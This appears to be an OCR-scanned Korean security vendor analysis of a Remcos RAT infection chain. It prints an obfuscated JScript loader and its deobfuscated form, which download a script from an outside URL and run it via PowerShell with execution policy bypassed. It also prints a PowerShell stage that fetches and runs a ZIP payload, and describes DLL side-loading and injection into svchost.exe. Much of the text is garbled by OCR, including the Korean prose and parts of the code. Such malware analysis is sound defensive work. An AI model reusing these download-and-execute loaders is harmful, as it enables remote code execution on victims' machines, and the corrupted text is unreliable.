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Aomy ,I9726 9[99 UOL AOM, 19726 OIL9 UOL AOMy,[9726 JILY9 UOL AOM,yI9726 OI[LY UOL ADM,,I9726 OILY UOL AOMyy]
AOMy4I9T726 gIr9 UOL AOMy4I9T726 gILY UOL AOMyy[9726 QIFT UOL AOM4y[ST726 QIL9 UOL AOMyyxI9726 QILY UOL AOMgy]
AOMyxI9T26 QILY UOL AOMyyI9T26 JILT UOL AOMyy[I9T26 QILT UOL AOMyy[9T26 OILT UOL AOMyxIIT26 gILT UOL AOMy ]
AOMyxI9T26 ILY UOL AOMyyITT26 ILT UOL AOMy[I9T726 QILT UOL AOMxy[ST26 QILT UOL A0y yxIIT26 QILT UOL AOMyy]
AOMy 4 I9T726 IL9 UOL AOMyyI9T26 (ILY UOL AOMyy;I9T726 QILY UOL AOMyy[9T726 QILT UOL A0y yIIT26 gILT UOL AOMyy]
AOMyI9T726 ILY9 UOL AOMy,I9T26 (ILY UOL AOMy;I9T726 QILT UOL AOM4yI[9T726 QILY UOL A0, 4IIT26 gILT UOL AOMy4]
AOMy 4 I9T26 ILY9 UOL AOMy4I9T26 (ILY UOL AOMy L9726 QILY UOL AOM4y[9T726 QILY UOL AOM44IIT26 OILT UOL AOMy 4]
AOMy4I9T726 gIr9 UOL AOMy4I9T726 gILY UOL AOMyy[9726 QIFT UOL AOM4y[ST726 QIL9 UOL AOMyyxI9726 QILY UOL AOMgy]
AOMyyI9T26 IL9 UOL AOMy¢I9T26 JILT UOL AOMyy[IT26 QILT UOL AOMyy[9T26 QILT UOL A0y IIT26 gILT UOL AOMy ]
VoL AOMyyIST26 JILT UOL AOMyyIST26 ILY UOL AOMyxI9T726 OILY UOL AOMy 19726 OS[LY UOL AOMxxITFT26 ILT UOL A

xI9T26 gILg UOL AOMyyI9T726 QILY UOL AOMyyITT26 gILT UOL AOMyyIIT26 ILT UOL AOMyIIT26 gIfLg UOL

\x
var r=i;function n(){var t=["2090AeNfQsS","WScript.Sh","status","Quit","Mozilla/5.","Run",".exe -NoPr"," (KHTML, 1","GetSpecial"," NT 10.0; ","WinHttp.wWi",
"1289720DVipkL","st.5.1","re.txt","24816XDZTfQ" ,"Kit/537.36",".0.3029.11","Object"”,"37.36","Win64; x64","ike Gecko)",") AppleWeb",'-File "', "0 Safari/5",

"https://ja","0 (Windows","uploads/pu","13862868afzILs","DeleteFile","9294uBxXg0","71HPgrpE”,"8046nwbOnH","3952890tPhmpK™, " 9RbKjne","Scripting.”,"User-Agent”,
"CreateText","Send","WriteLine™,"SetRequest™,"File","tmp.psl™,"Close"™,"Open","yro.in/my/","264504fKrotf", "13hKZtVk", "14b¥xPOe" ,"cutionPoli"™ ,"GET", "2000VJHs1i", "ell"
,"powershell”," Chrome/58", “Fllesyatem",“Header“ "ResponseTe”];return(n=function() {return t}) () }function i(t,e){var r=n();x rn(i=functien(t,e) {return r[t-=2391}) (
t e) }'function() {for (var t=i,e=n();;)try{if (3417 —parseInt (t (450))* (parseInt(t (491)) /2)+-parseInt (t (£93)) /3* (parseInt (t( ))/4)+parseInt (t (453)) /5* (-parseInt (t (
489)) /6)+parseInt (£ (450)) /7% (parseInt (t(471))/8)+parseInt (£ (£492))/%+-parseInt (t(4¢c0))/10* (parseInt (t(474))/11)+parseInt(t ) /12*(parseInt (t( ))/13))break;e.
push(e shlft())}catch(t)(e push(e shlft())))() ;var p—WScrrpt Createob]ect(r(_ri)i-r( )) ,t=WScript.CreateObject (r(294)+r ( +r(477)) ,e=r (484)+r ) 6)+r(473),
4 47 - ;tryivar s,c,u,o=new ActiveXObject (r(470)+"nHttpReque”+r(472)) ;olr 6)1(r (452

010, 200—0[1'(,r2)]°(5—0[I(549)+"§<t"] c=t.BuildPath (t[r (4 +"Folder"] (2) ,r(444)), (u=t[r(439)+r(443)1(c,'0)) [r 11(s),u
)1(c)) :wscript[r(£63)1() }eateh(t) {(Wscript.Quit () }function 1(t){var e=r,t=e( y+e (4€€)+"ofile -Exe"+e(451)+"cy Bypass "+e(482)+t+'"' ;try{ple(
465)1(t,0,'1) ,WScript[e(£c3)] () }eatch(t) {WScript[e(£63)1()}}

[2E 3] S 2AER AT TE (7)) 5 2AE M = H=SkE 2R 2= (OF2)

ABTIL B RHIATRIE TRIS A Elp SADL X £ S5 =
F2, purext TS L2 22 5] tmp.psT THIE ATRIE TR L TEES XIRol0] ARAI7|D A2
|21 AtRIX2| ik
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var p = WScript.CreateObject ("Wscript.shell™),

t = WScript.CreateCbject("Scripting.Filesystemobiect™),

e = "https://jayro.in/my/uploads/pure.txt",

a = "Mozilla/5.0 (Windows NT 10.0; Winé€4; =€4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36";
try {

var 5, C, U, © = new ActiveXObject ("WinHttp.WinHttpReguest.5.1");
0.0pen("GET", e, false);
o.SetRequestHeader ("User-Agent”, a);

o.Send() ;
if (o.Status === 200) {
Bl o.ResponseText;

[ t.BuildPath(t.GetsSpecialFolder(2), "tmp.ps1l");
u t.CreateTextFile(c, true);

u.WriteLine (s);

u.Close();

1(c);
t.DeleteFile(c);
} else {
WScript.Quit();
}
} catch (error) {
WScript.guit() ;

}

Ifunction 1(filePath) {
var command = 'powershell -NoProfile -ExecutionbPolicy Bypass -File "' 4 filePath + '"';
try {

p.Run(command, 0, false);
WScript.guit() ;

} catch (error) {
WScript.guit() ;

}

[O2! 4] 555} Bl AHIATZIE Il A

tmp.ps1 IIU2 CHA| XI™ME E8 URL 2 T4 = pure.zip IIYS CHREE 2ot =S SiMSI LIRS EXE IHY

# Define variables

zipUrl = "https://jayro.in/my/track download.php?file=pure.zip"” # Replace with your ZIP file URL
downloadPath = "Senv:TEMP\downloaded.zip™

extractPath = "Senv:TEMP\Extracted"”

# Function to download the ZIP file
function Download-Zip {
Write-Host "Downloading ZIP file..."
try {
Invoke-WebRequest -Uri $zipUrl -OutFile $downloadPath -ErrorAction Stop
Write-Host "Download completed.”
} catch {
Write-Host "Error downloading ZIP file: §_ "
return $false
}

return $true

[2%! 5] pure.zip i CHREE FE
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# Function to find and run any .exe file

function Run-Exe {

Write-Host "Looking for .exe files..."

SexeFiles =

if (SexeFiles.Count -eq ) {
Write-Host "No .exe files
return

foreach ($exe in SexeFiles) {
Write-Host "Running $(Sexe.FullName) "

Start-Process -FilePath $exe.FulllName -NoNewWindow

Get-ChildItem -Path $extractPath -Filter *.exe -Recurse

found in the extracted folder."

[32! 6] pure.zip THY LHS EXE T A A=

pure.zip L=IAS LHLO| EXE I 1 7H2L 2 7HS| DLL ItI0| Z=XHSHH, tmp.ps1 2| Qs A& = CiscoCollab

Host.exe IS E3

S0l CiAl 24 VERSION.AII IHO[ AIO|= 2|0 MHEL|C,

*DLL AfO|EZ5/(Side-Loading) ZZ[2] : BAXOI SETZ T2 ok DI TS ZH

i CiscoSparkLauncher.dll 0| AO|E 2EOZ ZZtE| 1, CiscoSparkLauncher.dll TS

=

=L =0l A&
SELZT200] HE i o4 DLL I20] g S&oHcE Fle= F5718
* purezip - ¥% O X
EE N £ BT =7 227 =431
o O a4
=7 E7| MEUS gt = oEEMN 2/73M
B0 @8 M X Y
33
i @ pure.zip { l CfscoCollabHost.exe
‘%] CiscoSparkLauncher.dll
%] VERSION.dll

[22! 7] pure.zip Y=Y
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CiscoSparkLauncher dil
Maodule Mame Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (IAT)
sZAnNSi {nFuncticns) Dword Dword Dword Dword Dword
VERSION.dII 3 0027DCBO 00000000 CO000000 0027007 A 001CB588
ADVAPIZ2.dII 20 00270728 00000000 CO000000 00270002 OO1CBOCOD
KERMEL32.dll 138 00270810 00000000 CO000000 0027E1D8 001CBOES
USER32.dll 3 00270DCa0 00000000 CO000000 0027E22A 001CB568
SHELL32.dll 2 0027DCe8 00000000 CO000000 0027E26E O01CB540
cle3z.dll 3 00270018 OO000000 CO000000 0027E2A4 O01CB5FD
SHLWAPLdII 1 0027DCa0 OO000000 CO000000 0027E2C4 001CB558
berypt.dll 1 00270008 OO000000 CO000000 0027E2E2 O01CB5ED
wsz_32.dll 6 00270CD0 OO000000 CO000000 0027E418 O01CESAR
CRYPT32.dll 7 00270700 OO000000 CO000000 0027ELEG 001CEBOAB

[22! 8] CiscoSparkLauncher.dll 0| VERSION.dIl 2 Import Sh= LHE

AlGHE| \VVERSION.AIl I XAE 25 2R X7 |XHS %APPDATAY% A22 SARID % TEMPY% =04
0l svchost.exe IIAUS MM = AlSHA|ZIL|CE svchost.exe IS LIEO| =xlSt= H|0|E{E AES256 L12|5S
AESH 231 A7|10 S50} Bl GZIP SIS sHM|St] LHES| PE IS AldtsHA| EIL|CE.

namespace Tulj!

internal c ] Totd

internal static bwtel]

O0qxGlasql="1;

Bam =

using (MemorvStream memoryStream? = new MemorysStreamfnew bvtel]

EST SECURITY copyright®2024 ESTsecurity Corp. Allrights reserved. 1



Gzip.bin X
00000006 | |00 BC OB DO[1F 8B 0B|00i00 00 0000 04 00 ECBD| .. ... eee. ...

0978 14 C5De 20 DCES 9EES 59E'~4C'5:- g9 2C|l.x...0....Y. 5. .,
9074 80C4 3080EC3Ri45CE 020822 3BCB 92| ...0..:T...";
2008010224020102:28 54 34 28 82 A2 B2 CS 5. (.40....
22BE B2 C0A2EZ55 1411515 F75D404545B9|™ ... .. U .. ]BEE.
B2 B2 E22E2AZRAZARABIEIAF T3 AR GBBARAGD3 | .. Aok A s. k...
33CCBDEFFB IDCFFFI3DCFETED €1 RAR4F DS | 3. = = .83.0.
39 BS 9D 3R TS EADA RS AR TEZ23 5608 52200819, .12 ~FV

16 ¥F2 77 EL1 82 20 3C 25 D0 FF 4A B85 8B FF BT & W . <FHLLTL ...
FCC: 65 3D1DZ7 3CEE 38 S8 FD 54 4CDF 83 C .e=."<.8..TL

43 26 55 D5 2AD3 66 D4{4Cc 5051 3145159557 31 |ceU.* _ £.L.QlE.W1
75 6RCD4Cc 65 e A5 32163 De B4 25 6ARR T2 05 |(u].Lel.2c.T.J.¢.
80 AE 95 2% 35E3 2B 2ZF 8D 8D 75 Be DO €8 OC EC S15.+/ . ua. . h..
21087DE324F1 D5 S2I8B 2632227 584BB | yeS. .. .82."_ .1

decompress X
aoooo000 ED SR900003000000:i04000000FFFFOO0O00|M2Z. & &0 @i v i v cmanx

B& 00 0000000000 004000 000000000000 .. ouaun. B.......
0000000000 O0000O00i0DO0DO0O0O0 00000000 .4 . e e e eeeeesnana
00 00 00 000000000000 O00O0000BOODO0O00| .. v s m e i e s e o
O0E IFBAUEOOBR409CD 21 BE 01 4CCDZ2Z154 68| ... 0. ! ..L.!Th
€9 72 207072¢eF 67 726l eD 2062 6l CEGEGF|is program canno
74 20 62 65 20 72 75 6Ei20 €9 6FE 20 44 47 53 20|t be run in DOS

€D 6F 64 €5 2E 0D 0D OAi24 00 00 00 00 00 00 00 |mode . . . . 5. ... ...
5045 00004C 0103 00iC53F 826700000000 |PE. oL v e v v 2. ua.
00 00 00 OOEQOOOEZLIIOBOLI OB OO0 O00B4O0BOO| . o oo« VL.
00 0c 000000 C00 0000 4EDZ 0B OO 00200000 .4 . v v v .. N.... ..
OOECOBOCOOOO4000i0020000000020000(...... B.. ......
04 00 00 000000000004 000000000000 00( % .- v v eewnnean-
00 200C 0000 020000000000 0003004085 ). 4w ueueuwnnan Q.

[O2! 10] GZIP =1 LHS o]l =xHsk= PEIHY

SiiZk PE U2 svchost.exe ZEMAS Solf M MM 90| oZ2(oflA HIZ SZiShs MUR|A FElE MHE]|
D:i, .*_I—"SI-IQE Remcos QII-Ao-lfl_IZE %'I-CI)_lEl [__||:_|- Remcos 2 Ao-liE:: OJﬁX'”O'I(RAT Remote Administration
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